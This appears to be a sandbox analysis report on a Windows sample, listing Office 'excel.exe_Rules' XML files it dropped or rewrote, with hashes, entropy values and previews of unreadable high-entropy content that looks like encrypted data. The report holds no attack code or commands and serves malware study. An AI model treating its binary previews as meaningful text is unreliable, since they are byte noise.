.^.?Q.v..D...+.,g.2..........M.I...dI.V,.:!........E......U.\...^..2n.iY.e....h...k%W.i.2....:3...E...l...@c..!A^_;W.8..sO..w.:..T"m...XD&...i[..T..4;.^....!..e.._3..X!.-.p...-q......M..5...$..;a.@.zg.........C..Y..\|.o@.5..NV1.8C{..>.nI.."k.~'....e.8..F!B...~+.O<.....Z...r<....&p...f..Y.\|..z...o.[...n..:-...........d.\|.e.~..(..t.Q.8...}>.....G.$....F........J....ng.._.....l..6...+....\\4(Y..@...\|...ZE.....e;.d_..4.nSmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.820650759320078
Encrypted:	false
SSDEEP:	24:SyFAbONJNt5MdqqUnKAQ3b00w9PoVFuP/klfygFSiL52bD:L5CzaKAgpKkNy0+D
MD5:	FF7047A905EA00A5F81A517707527F4E
SHA1:	4FC4E125CF13821D3E9A070B9A781CADCE8D3438
SHA-256:	1080F0B1D839792A3C8B7E1784D1C9DE61FFD29094BC4C3CDFF0FFDD19A9D795
SHA-512:	AB2FD0F1E9ED577C83FAA06B62A12B226C59EBFA7C0013B2B736316078A2766C82B13C2677CFEAC029B082EFFA66B3A31BEB062C3A69B6F959058EC2C98182FD
Malicious:	false
Preview:	<?xml&z...-i.6..cx.D_..n...[..$....V_..n.$..8...Y.2t?=eN...#.%....yb.oc.EE.z...i.r..mT .sPN....=}0F.....+.2..../...A........l.&.re...r..>.d...Ip0..<.;.Z.CV.o...v.....S.!.#...,,.......T.....B.....h0....B.....cy.@.....x.b..g.nr.\N.S-.......}./.n......wU.b...f.Hr..8s..".....M6...%IP.I.l....k.3W...B.....-d.\..R.aS.>{.'..0t....IY.7..6x..E.....W.U....q..B.y.Q..(.^.......h{9.x....-........I.....t ..XuMZ..oS...c'..i..N..T.R..Z.Q....:f....M.A.0...\u..<..p>FN..O..J.....U.../"....$6..c..5(.lgH..\|V...+R<M(.e...T7.kP...~..AM.7<.`...S..%i.!.C..Q....k.5M..o.X1+~..~...>)....O...l..\|.l......Y.....VU.~.G:.f..].....;^...d8.....".P.;...I...j....u.J..5;V....1....?N&....j.........Z.;f.H."F&[.%..S..>....M.....c..T.O.....e.G;F.e...&...]...kPL.C.3..0.+..@.....+..R...+..dO.,+.y...a...7..O..\|....@.......RF6s.$%k.R...}.....!j0Q)].~..7..21.60.S...j..D..0.FtR,..c..8.s..........~.bW..>..:n&........EP1%.?...CL4H.C...D+.8.gmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.863725717272786
Encrypted:	false
SSDEEP:	24:ETSQ5x3k2sas3c3xuUxxDFaMw0ipJ7jQmy16yrlWy2oTUAB6CUNvEsgQG1dOG2bD:E+Ex3kLl3iZaMpi7jZHQxFU5EsgQHND
MD5:	428BF450E8DB29687F320F2F35F27665
SHA1:	09688038E37FF4E23D34099BA1F1028C14394D19
SHA-256:	9190DA914607062C2434121B1421277E6F7810FE012E77FB06A597DF27CBF342
SHA-512:	3200A8C0DA3D3BF0434CCACFD7CB9FEBDB7A51A1B1E6FF4E8869075B13BA570B4018C01ADA735347D5887A6DD3DE57D7CD39827BAAA9B6A5156BDD33CB7FDA3B
Malicious:	false
Preview:	<?xml...h....`..........>...#..`-H.i2..XVK......c...'{4V....4....u.n..O..w./.5z.4.}......P......@......Qu.Q...lXg.....m.QI5...2._.A....;.b.%2.....3C.-t"F..Xb....f,l...R..S7.0....aJ....U$./.~........;.".....tE.m\|.Q}........%=..15..~..im^g>.{...6).B[..h....k..U........$...?J.Yt....zL...^..t.E.w.....h...h?y.6. g...M...v....t:..zX....w.....cd..^k.?....}c>.Z.K9;...)...E....%...U..08.[...4........d...........)..F?.I.,u.%.L....4WO{...... .E2_$K.L(...d....1...Q.L...vo.\.&..x.>.A....ALn....^...U.U.C....9'q.3.....^@w.._.'.g......(.....d..e.].G..J.J%.an...t.O. ...:.]Q.F..m............t.....Q...F..@..g..v..jL4...':..w`v..G/....A1F..w~/...........^'>.-.......e.....+..Y..@..{C.R.k...E....Z..ERM....MH.......:xK...$g...h.....{#..]..dd!....x....9.k.\.WG.)y..&.O..{.. .....W.#...>.,hu.P.bp.q.........\.<.xg...}v..xz.p...ZA.r.drx...y.).5.Y..VlM\3..\....]J....d.^q.U.H/.?q.`..AL....^............EI.(L"...{...f.&.*.-;@.....%..K.....b......q....z.+.3.5.xi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.836720775392399
Encrypted:	false
SSDEEP:	24:gLTSFTCDIb9QKyFzkp4c4hAcvP/Sr/5s12bD:gLwgIb9cxc4ciVCr/2OD
MD5:	C5B1F7FD443E1FFE901F31AA0650182B
SHA1:	9B3E8D9F90EFDA501512D8F8BB798DD2CF064A05
SHA-256:	8B8D0750A0757D11066DA0DE1B53029D55568BBC35D58AB9921B06016A126156
SHA-512:	D867A594722BA6275896F11284A22443A365D72D30B29C9CBD2CD8DEF1508379777AAC45ADE996E875CAF1D1BE7E4B573E09AD4F8A093F4CE36D5D83D5D7F5FA
Malicious:	false
Preview:	<?xml....X.s..E...0xX.......2..\|O.'..CF.+M......0_.....T7.s<k....k......._....... ...z..x..@.\..xN.\|....;k.3VG..............Ly..{a...M^L.]{.\|..F..V..x\..B...dqx. f.r..:8QW}.0...z...{.....E;...W.tMv..t......}.o....`\|b.g.A.S.,.f+.......J.../.xJ...o.M../..y.....i...P.....f...J$.\...... ..wHO$..[..).sV..%..x.Y.t)5Ez.&....Tb.<.d+..X3........n8..t....qn....;H......`V".V....n.J..a3...t.(.e..&..+l...._.....o..A2..EWR...5N...."%2._".I.+..3.%....'.....cn.A..<.#F.....-5...."a.2.o..>.^..{-..nx.G.m..yw..j..wM..i.9.../.ro..!;A0..9;71..sw..uC.k.P].4.U^..3D....:D..j.b.@.........H....>W<rQ..S..0.......9.?v..F....-....-sc(!._..b.F..c....1...@..I../T..t.-)a.......>...:.PS./5....G5Y..W$\|A....q0.Y...g.A..}.t..\|3.3..s...f...M_..........@.....WZ......Vv...^.u...Ld.%.......N..Y...LN......s%`..l/=Ka........?.4..Q..%......N...?..M.fm.zFF)Y.:..S.B...4.......7..b.7...(>.............R..u.rk.._!H..JtoLa.b..D..........h^....T....-.;i....B.9?...mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.8268861585063
Encrypted:	false
SSDEEP:	24:ydyPHuFOGnGxSaKwLsGucHK7ezRi0sBYuNwB15irC3i5FSYnp2bD:nPOtl1wbBSmI0sumU7iC31D
MD5:	96CA5F5C42E7F1C0FE87A388C15CD210
SHA1:	DB1AE085A591CD10571B1CC0B40DDB18D5B240AD
SHA-256:	32F5F5A6F5D8FEA3B69D426E755F039C4D7401534B6894B60BB288EFD9CD0ECB
SHA-512:	00961AEB7F66EF7437A6DBCC633FC165BC543939F49572C803A2476E767069D04509ED5355B9948C664955B46E5C4AD54B7ED0CBC1C5837CD882146A11F195C2
Malicious:	false
Preview:	<?xml..cA:...9.T..6G.L.o..bi.0.:i,q.N...,.....w~...q.......t~.....co...G..iY..F...]C.U.H{....w.[.....+..6...n...n.nK.=... Z.z..}............i..I+.....S5."./.azIl.C...........=..\|y..c~.ha.....3....?....._.}.$^U...y...w..$..w-.o..,.PV....._y....@:...T...T6.E..j....#..L\.......8.?..3..&.....`..D.v....0......[.H..n...c....m;x..y...L......d]...<..%.X1..p..~'.^.......Z..h..........Z3."...B...K~.&f..6..Z.4.....q.i.#.e..E...J$......r.../.n.W.tD.W._..,.Nwh..'.M)Z.].}.hW...U..M..(..#j<..._. <.N......$..Ob7....=`T".0.&Qd...ds.h..i...TI\|k......]...G9Wo.). 7....q-._../v..z..D...K..a}...."....}UP.c.x.b.z.q.x.`.W.o.3Q....~.z..z<.z.(.!..z....5..[..........z.g....,aR`.=8.8....V..g0\..B..8.I.2............o...w..66.N.H..ch%..S.....EA..t.P8w,.c.....i-R...!..f..-..o...Y..:5\|.H.e.c.h\.M}l9....q..Vx.8.{t.@d. L)V.g.~].3G.A......D..k....JN\v......H@+.....j>.QrI.g.....\|-...@0e.'.\.O..\..........0D.P..w.w+.........x..1=m?.a.8......"....>.....g..W8.....]!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.889658953947074
Encrypted:	false
SSDEEP:	48:1huqUrNepG8EEPPpAwENIUzlOshtFluZwdZ9AL1UKEekyD:zysG8EMPmTN9l5r2G9ApUKEeka
MD5:	DEF0BADF27085A6096EBD0A4DBF404C7
SHA1:	49DFD70EC29B873B517D2A85632BFD1A98256501
SHA-256:	E9D679224B83FE42741D32040889BD530D74C1FE67978922EF837C0384DBB466
SHA-512:	524F2587C283693FFEDDC12FA04F31633D1DFA525A1BBD9A524FD8DDEE8C73BA7A5936D8AAE2C04E53D60802A3F3EE4B8487DCCCA9BC4DC783C9C9FD4FCB2A74
Malicious:	false
Preview:	<?xml<.1Z+#..Ds....T[...k...7.2..Vbv.83.......o.P.....]..kp....4......E..P.vt..?%.+LL.6.%0....C..'i.M..'.!.`b.k.....B.1X.a2a.c.}...F.....KEb.....T..+..8...}.?..x.ZS...a.....`Dy.Mu....4(.C.Q....1.Y....N^]=..b...Esz..-......!+h....\|\|g<......C........[1c...L.......@.z?...s........4..o...X.N[...kB....;..7..P...Z./X.%.J-...X.oJ.d&O.YZ.!M.3...3./....DyZ..Ag_..7q.qGXi...h.g...\{.kd"...F........_.....\|.I.....I.ra(...p...\.#..).4....Uk.N1.,..G......t#.C.'KR1..N.^.PS.1#....A..F/.Q....p..1..=...s.'....=.B.>.....E.b...v..MX..+.F:...3..KYz.........mo..~.].:F..sG@..ab...f.I.)...q.L%...7`./......._;.V....}.>@.Jj...W......@C]...3...V..J...k........M..B3/...6..$....65..8.2..0.....Q.9.-l.yiq.1..X.k......[nA..ARi%.`.,..w.H.....G............O...A...w.@..F.w.......~....7.....?.t....1.T!.e.+^zrl....k.MH{.7..?.%.._;.&...H..1..LXy.=k..F.H..{#..\|U...E...jIY.jK.[..K...m.oo.xk)....+...^h.X....Z....N..w..u.'y.O:..sa:%."...1..d`~Z.6..s.Q....}b...\..v...8=.$...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.682616124107178
Encrypted:	false
SSDEEP:	12:tFrcPWgC4pIFPuhGTjtygRMTJvo4AA0Wwn4i+tXoNaZ1X8kmSSUdNcii9a:tRR4yPuAyoMZoLkwnWtXoMZW5h2bD
MD5:	C59000B726B078848D243E290694FB1D
SHA1:	D3DA655E45229F2B949489673934CC702880CF7D
SHA-256:	93DB0003E954EAD3A48B3FAC4D52CDAF0DCBE7B4D7991809DFCC91A6AEF82BB9
SHA-512:	5218CA31F78169B2E035029443F4D0F50E267267360A5E78D294AFD7F5AC32B68B09F9C6A9A9B586C154A0952FE06E0E061B64708DEF25C1E0FD16696F1604CD
Malicious:	false
Preview:	<?xml...'....S}...=n.`!..&..L.!..d.`.o.....Y........aA.~..8...RHN.Ss.`....H.\|..n...c...3.~..:..:=..?....._..X\|..`B.Ojq..u?J....y\d...v4..^p$.'.W..e_%...Q....mg.%v...3.p...N.b....c.{Y.O.......nVM..Y>.'.F...Ce.....A..y..f..O...1o...&.>.e:..E44....$<.B........a.........>.=..../...Pn.".e...().6.Y....o.i./...9...).A.s...I.....X..!.lF}.-H]..\..J....W.;-...2.........V.)e{u.-......?...Br%6.&.6...}..[..z...W..S2........,.J.p..<H5.yf-{]...."P.\....@v..f...X.......Q>.+OW...W........d....9..OG."....D..\|.;.V..G...r.:...n....xE....P.O..[....T...#5&.ps.(.nGWB.b.....gFR..DeL[..> .1...Tl@.-.d....E.w..x2.tSqmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.899219038370642
Encrypted:	false
SSDEEP:	48:7MTjdf82MKWP7qqT911ohbsPKC+b2c+hKVve+kvsxD:7Ohf82kv1mIiC+yVhg
MD5:	DB3775718B2E66ECB275AA54F8C38710
SHA1:	E0C706A05AB1772FFD6623EA377D8C7C6200950E
SHA-256:	40FEFE1E2BB463A747568499FF487B6ACB43D4FD640F03E706D6A65489224A9E
SHA-512:	45600620EB8B590EB60A3F72F69BE01FD9B6207CC29C5BCA41E20544DD22D328CC243C97D7A4D47E19BF5E4BE2671383D8E6DFE8FA0C7F5D6E13368EEEE5AFB5
Malicious:	false
Preview:	<?xml..C2L<.~JV.HBt\0&A..X.h...{.z..:p...K..r......J......^..6..S.I.....~.J[.~...d-..P....P._d.t.>H.y...C.e6.{$#..?..rN8.Cp$.!"h...,....Cq.[..46.&."@......56...\|SrLL.lH.n..J..g.(t....@..x-.:...+...M...<....H.S.Wg....}!..S.o.X6....S.....w....>FU.Y.g^..9....mn..1...o(..../.F.R....o..'}..7w.y......\|..9..]9..:y%...M...)c.`/.E..0....!,.yw...gd..}2N`...}......i.7j.o[7.!.c$..jw.le......:.}..{...).F.D.hWg...N(.Q...%. ....D.E.....Bp.f.%......Xq.`3}..LJ.a:y..9..tpl........`....3Z....S.%.....b=.+..W0....m5...O.J.%.9.../]I....H..t._sDbr".C..Z.[.....0..J\.h...._.....y~..@,[.....KU[..........>.^..8.......>Ky..:..(..._.D....ia..m.K..[.J....dQD....-....n...I.....6.........)Y...Y.j.._......D....(.......i....-U.....ik.q..l..T}Nk...C.\|.......r...L...@......[&?}t$..8<..s...m_(...ev.j-.[N{50.$'...~.S..&s.:..Cbl........1.j.)..1-..H*........rf.t..u...=....}P"..a5a.F.[....+'..+ u]p.b.. .-.j....n...B..{.....G...w.K.........)-.......\|c'..V.....pN.zl.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.9056593716446635
Encrypted:	false
SSDEEP:	48:DJ2GQHqmQOfuWaLxVvCmvd5C11zMOOq86fl54N9HvG7tflN2Q+Y6D:DwUmQOW/VlC3zdeSTW9PGpf72wS
MD5:	4242ADDDB8E76F3C17E638ABD932F3AE
SHA1:	A887737FE0EA2791DE21C49585D511940B1B358D
SHA-256:	E0735D0CC5EDF9D7F1321AC4FBFD9CE1B27550D05E5BBC705E981CD9A030D3AF
SHA-512:	14AB2A8B5A9AF9772AFE9FF3545F6BE6A9E0846D2D232CED0776A33CB4D7B79BDA5A97C469CF8E1EA3E9761B0A47277DC8C6FE847376E0EEF7430FBD9BE88357
Malicious:	false
Preview:	<?xml.q...e..w7V..lK...1.0V.;s.....^.\.'..P.6.7.....&]cZ...}...`.}.$.so.}e{.....n.d./.yS......'n.`..-.b..O.....QMg...8......d...+.J..U..I.G../..2b[...TW..>A....F.......B...2...c...$%..3E.O.6Ic.M.`....q6b..x........B)..V.>.x......S...@.H..wd.....H.F.0i.A.....>..A.#pSc....2..`.......d.-.Kvhq.....euF.y....-".\|......-.U..?..@.?...P.n..;...S...<.}..c&.~W.}'..E\|...s.qM..kH(..%....8.i_....6.....\|eQ..0a@a...)...Y6.@.:....'..g$MK.?\|.{..9......G&.S'EkZf.b\|.S.c4..@T.-W;Z.....8.u.p.>.r.UA...7-i.hn.`.....O.'+..1.T^G.v..C..k..G....d....#.i.._...!.?.@..n+uR.t..Z.i@.]...[#.Q.{.&.G.Ya..5.l.B.@N...1...,.Q...xl.%....R!0..@a..=.\|.o....4.W..^f.\v......-..u..Unr.<.lt$K....X.O..\..lD)>..0.H..S.......Zh.9..v.B.........-J.'....:{m.M....).o.y..1s]...:..=Y/...T-.....=>..ih...{.SM."..9r...z.9....=.Ad...Z.z....@8.x..S.............O.z.{...\P+.....@.8..y.?....v.Q.{..d..P%.0(......?.nbW..J5.'V..-..Y..4.e..H. (.Dn_q......&0.\. <g.G...%>...KY..k....;.1(X..$-...^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.884134381676272
Encrypted:	false
SSDEEP:	48:AxTRy+UG+aYjw/5YZB+bm0ErlLT4nXrBauLEkmfD:AxdyS+HGYh0654X9ZLEkmL
MD5:	32E5D32E8D30A332F7CD291EE1E42367
SHA1:	5B007A0629ADD880F05F17F7DB694C39D12592CF
SHA-256:	51318DE2C6120436ECE06A7D1DAD8EFAEDDB4F0542F0BA1A29D28B9C48007DDA
SHA-512:	780DE6E472B0CF898D4D5581D8EF0C30DFEB1A97C117E007D63B5957A6E0932B5D047966B1CDFA497047AB0999F4D17BD72C5D4082D82213A2AD3C42AEB2E453
Malicious:	false
Preview:	<?xml{...y..j..3.[.p.Z.kB..dcNE.'..M+Y....<...c..[........O.e.r.5...M.M.'....t.]H.D.th.%.lD....V.Oj..n....P..Q.5{.a. Y..S..c.....e..{..f?P..d(..&....%.a..q.u.......)7d...._n.HX..$...J...xE...PD.m.V.....".Xb-....L..+...dW...w.....Q...A...........W.....9.v.:.H..1'.dH..h..Z.]....I...y.N.%......T..._$@..TpKR............}'....I..+=.LX.#..."..P......>.7.c,.)....3...>.Pu`..?....6.,.....UG6....M`.0...vD.k....!_B..E...>.X.Lg..2.L....:...x..G........R...x..R.~i/..is..>..3....Is.S?.6L..&..B.......k}F*&..%,...k$S.z..Y.U....y..k...u.;{.L.nc....X.....4............;\..n........Z....S.....u`.-....._a..G~,?.......d.0.]a...v...._....9.,"T.4..........P .3....&Sn......l.`.).4....H.,.6J_X...'uk..$0..#x......1..a..mX.....g&..\.<_...im....p...n.s" {.j...^w....`E.....\|.t.s....l..aek...>(S..I...2{..E.&4)..!...ouB.J.#.#...K..;.We...KS$.{ae..W.I...Dr)R.%..O.h.}#.+...'!...`....\|j.....).s..c...1x..hJ..B+s0.>...e......+y..{M@.x....X...v.JF..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.790108148164248
Encrypted:	false
SSDEEP:	24:ViVWrIZq1KEx/g6E9H+xnp2XyR6pTrCigSV2bD:+dq0Eg6EknpKpTrC8uD
MD5:	FC993D6B638907BBEEB08E17768F9897
SHA1:	EEE9DC873054ADFA3ACE3B19AD7F70ED8538D358
SHA-256:	0AEA5A43BA3E873FC18E45827BACAA89AED8EF651F0CB20368E15F013D2B0A01
SHA-512:	90B53DF3D081331C9918C719FA7DF5AC73894F9114D84E5B0D1C83BA0639B33ABE4DC12EDEEE7869E1DE43E12F79E2043F4914C8D126D74167B7C209F8C56806
Malicious:	false
Preview:	<?xml.P.......gM..Y...r.h./.n.'.+..K.s..eA.G.uz.z...H...XgBa...J"..U...)...u...M.'.j/..5.=...@.'....3.".XbrY..V5)-..z.XQ.....o...ne...C....c..AqYkG...TaO....y....5.mm..)..!.=, .8.1.YKg..^.Z...zV.....s...K......RK.....E.kp...sdE...?..8.!...]...uK.....9q6.n.`...I.N?.r.K_5E..!..vw.pj"....EX..+6}$.BW6..X(Lh..N...<`.Lx..,.u`.....5.g.F2.Y..O.=.'....@;..>......m.%..v. . .......3..... ._.()..lK..@.".((..2...V.$;...@w..oiA.`G.^.V..v+..BVH..Y..z...x..f.9.$k.<i....."..\|...h@a....X.+....gOo.]'.d.G....+1..V..f.E..P>( -..Lu..^(.6e...M.Z....W]f8^.g.C......}g..%..............b#.......nd2s.[....<k\(.2.5.d.....cgvV.[.%.....q.[J..^.A.f...4J`..Y.2..j..(...6..3c...9RK..A....b.A_....M...J...}................o....i!.......x.q...x........eto{..x...\|..Uw...7...i7..?].. .l.....Ijh..5...O_..v.... ..Su.V.....lW..`..q@.7{5.....K..].MVmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.763901125417358
Encrypted:	false
SSDEEP:	24:ejtIjBbCM/6LbFpBWBYE0DAu2RZY6ZIsU2bD:Wt6QLxTWBn0/EMsnD
MD5:	B0E4579699A2C3FEBADD07053FC3B72F
SHA1:	020F8C0F76FFC572A8DEB889F749BA9CA85E0981
SHA-256:	67C257CEAD18EC8D04C976C7FDDB2E3479C4CE72A4EF4B79053C934238D78EDF
SHA-512:	984A6976CDD940E9BAE637B8358C667F7F166792FC91890F99DA2EAEBEDA04F8B6C9794646E364F8733CECA8A54C270801A7FED6582E40D89775FF1277403990
Malicious:	false
Preview:	<?xml{%X.RdF%-...y.=.j..B....q#.....d.......J <.#:....c.r...D.D..K..[p...CsS!b-.....s7...J...?...f...b.......Z"..w...p{x ..).....If...Il`.-..QBr.\.R....C.z.\...6$....yM,K;@H..........!J\.e>'..y(M...{.p...4.../.../a..l.$.H`+.T...d...d}....<......>.....H.Y..x..s.=...!8..U.;\|.!.=v..H.jO...`."....K.....M.h..0.g..K........@w..K....W>.YM.x..d].B.H]...1.....C.tGi}\M....r..;.~=..=Ou.J.....A<sX.1.dGQ.qS.....e..]rG..fZ.nCv..yd......0...\.Q..B.h7.x....j.r!f.?JDe....E..V.pxH...:.&....n.$..w.k....p.N.IV..C.ra.Q..Q.(].....R.S[@8.,A...E...P...Es.y..B2..V....f......).l.....t...~V.'.i.u.3...x-..B.T.-.S..U.T..y..(.3..........Qn...F.byl..d....J},.5...U...,..0T=k.V.....#.9...t.._...<...X.....$Q8N.u6r.)#...O].G.\|=..j.R.n.[.%...].H.A[...........=.yp..g....... =K...".T.9..n.e.~D;.~.7.9.".a......d.-@Nfj.-.....{....E......n?.QM.y......a....+..w=...8.VMmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.92325609946333
Encrypted:	false
SSDEEP:	48:XaT4bDonnuXOetgmPbITfxqUJXQBYeXL7QVGs5A6Jf5QeYQD:xod4axjFIYeXYm6J6i
MD5:	18E3BCE951CB7F15BD94022C448D3C99
SHA1:	AC15ADFDB819B5EC85BC51E98066EC8FD73E2ACB
SHA-256:	1F4D2C104F8EB339ECBEFBCCBE3485D8548392E0BA5BE0AC2B011BC45F479F34
SHA-512:	1B0AC450A4D91B07C5CAE9B082ACAA12E03D62DCA2DD8A3BE5406C9B563EE34EC5FA0C36FDA25A21C9CC8797BFFA51C73D58F129673B25B7904C0E96866C874D
Malicious:	false
Preview:	<?xml3.+$.n. ...ov=....8....9.. ..GD.2j#Co..c..-^....D..#i....r....Xw@....h..R.;...r.n.j.....I.8.Z....3Y>.w{..o...dJ.]W(.N:.ZR..k.....^..L..e.M.v...1..17.@z.K....=[..wQdP.j:.Yu..~.M..Lz...Yv6.__.K}I..P..Q$.R..ZF.o..1.NX..........oI.q.....+.~..6....G...........H.^..b........j..p.$5........F...u[kh....R-...z..!l.;..8..h........s....Ec..>~.....@yu.g,`.....W`L...L.z..P.e..v.{.T.@8O......Wixp.;._....)...W.45....DB.c#.`...U..t.. ..>g......w...\|.n3..g&...A..8. .8...i4.G.J......J.\|<......<.H^...8.76.:y.../?$.......c.0;y..&B.'h.R...+....WT....~.....f.Q)w..A.T...9...j....i.VU...0._.U.%tO.......jQ.`m.j.BLu.v..-.~.LvZ.8.,..11\|.b..ph.."...&.&.3..^.%.t.bQ....u".yN.~.&.d.b.F.mlV....*..\|y.o....!+x.....[...J..~.....B7J..L..O9...d)a..).d;..{.......~y..E.....dr.........Fp.`&...V....\|G#....l.A......i.z..5..e.n..7.qXm.j.....k^.. .r.B.k....M....A.$.3.S.s.."...{.W...l..\|.....!.J.Y..{{.j..S.....r.}...p...f...ur.."....w..}I.-.6e.`R..i....w...Zn........b..yO.%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.89788109690597
Encrypted:	false
SSDEEP:	48:ljLrbow8SkVbJCpA5FCuOYp3750pSLWbYVD:lDEw0lJn5FCu13iMS8t
MD5:	CB6363572F8BD4D7AE93667DF4857C0F
SHA1:	003158DFFC4D9FA8C6E910A95684D2F2D337AC47
SHA-256:	5E11C7C57A323C3C842A73EACD36B9D95BF9FD8AEBD6440B7124123B3A7007BE
SHA-512:	2343F4D0DA31552C62A30ADA6E92B1A9384A42582C94DE227CE3718C59FF6476442573476AA9A0E252657D41BD3F8C14B6C9BBAD2074FE572C3194545927BDF9
Malicious:	false
Preview:	<?xml......A...J0..T.../..S..n}Q.U....nN[.._.\.P..n...zP...n.q....U.A............./1z.~j....1.N.../..h.k..5...z.5.......b.%.5S.R....E....&z..Ak..yK.k..U...g;kA..%.J...c.....IO..pC...d.b).W....\<....)7.......OY.Ki.l.....G.P........Tk........<.....b...".S.....B...9....N.]h.7'...._.Ia5.....e...g=...."..A..6....~...@6al.7......=.5..d..'...g5..PL[....$.....Y.rV.h...J...J_...p.~..8Y..L....... .E.Lf\..a...N.........X.}.{.D.aJOjd......x[9\. a.o..i]I.......&....Z.pWNW..kc....9...(....4:..Hy.>.>..[.N..z.=A..n.C?Fi..<(.l..4.j.5.7.%%.9\|o.!.....]/.z....@7..MJ.0Q....kQ....~.,..t._...w......O..G\|.k.>.../$p,.^y...t.%n..!.!.... ..W.<.... ...eR.I.0..d.....N..v.CS.F.ix.S^......].he.\|D...rz.Q...SH..HS...5.,[.Mx.u.......2%..B.Q.....7.5+.`..&..}h...~...."...)...B.oi.3...,./.\\|.#...^\.......h......^.$.....R..O......?.>..!.Q.u ...)..f.+W.w..:.........X. K..Q)..B6...h../..t... H}z].....<....\...h.$...%.....ae.o,......m../.......VQ....'.{Zjh<.tf...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.771323489796515
Encrypted:	false
SSDEEP:	24:YC3taHtr5OENb7TviAM5YJ6Hf4TMH1boQZTGC2bD:D3QHV5OENb7TviBE6g81bvSZD
MD5:	A933F41D6380783DE492584E9B273201
SHA1:	7AFB68E0ED3258326CBC438CBC040B8E43879C44
SHA-256:	52EAB80C69EA1EBADF76F0D04F54B34582547BEF291E8FCB3667E5D047D40C10
SHA-512:	9B7F75C6F83EFDCA512DA32EB86BA162460219090ED7B461E819E4792F0314B63A5AD69C821DF551F8273F1DC9BE46F8444B11EAFCACE2448E4BDC593580D6B0
Malicious:	false
Preview:	<?xml%.........m)_.<@....%.L\|....p........M~G G...m...A...e:.z.F."9l.kSS..^3.`...tv..j/].D..%...+:......u.sZ.O]9...\.j..5(.rG...>.J..E].%..v.+Q.....h..mc..a.<...`.cy?KcP.....<.7.i......O...W.......n..:...}.Tq......H.....#@BA.o.n.i<kY?....}.#...G"....qA.O.1X..I.i.nc..9.z.6.Z........n.....C...l.....$.~T..eV.;.....tt./...1..Z.3Tl...F.u..nj.........A.SK.#h......:H.....:t.I34D..}.-yP..d2..]....Qc...F^.Ua~.....^K@.+.Z...A..'......o.+N.}US.N.c.tC/..zWF.....V7..h...X.......wZ!.a_....6".I.i.<G..)i..e.K.N.y...p...D...4..{v....9.+}{k..Q....F...s..O.C\|..[vB......4...U{..LXs.7...r..`@..j...7S/.../].=.V~)z..+$kPI.[.....G.xz'..R=.$b..!.T.......7..f.gF...-D..x...?..rQ+@y\|6..4[......g..#.....y......_........!.vgWC.?..CgE....a..G.u.B...B.z^..CDE\|..Q..X}..M._0....j...u..zQo..V.6..../.\.i...)L..A}....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

